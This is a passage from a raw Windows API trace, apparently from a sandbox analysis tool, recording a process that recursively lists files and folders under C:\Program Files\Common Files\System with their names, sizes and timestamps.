ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0094.064] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0094.064] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1 [0094.064] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0094.064] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0094.064] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0094.064] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1 [0094.064] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0094.065] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0094.065] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0094.065] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0094.065] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0094.065] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0094.065] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0094.065] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0094.065] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0094.065] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260710 [0094.065] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.065] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0094.066] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0094.066] FindClose (in: hFindFile=0x4260710 | out: hFindFile=0x4260710) returned 1 [0094.066] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0094.066] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0094.066] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0094.066] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607d0 [0094.068] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.068] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0094.068] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0094.068] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0094.068] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260510 [0094.068] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.069] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0094.069] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0094.069] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0094.069] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0094.069] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0094.069] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0094.069] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0094.069] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.069] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0094.069] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0094.070] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0094.070] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0094.070] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0094.070] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0094.070] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0094.070] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0094.070] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0094.070] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4403ac10, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4403ac10, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4403ac10, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0094.070] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0094.071] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0094.071] FindClose (in: hFindFile=0x42607d0 | out: hFindFile=0x42607d0) returned 1 [0094.071] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0094.071] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0094.071] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0094.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0094.072] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: 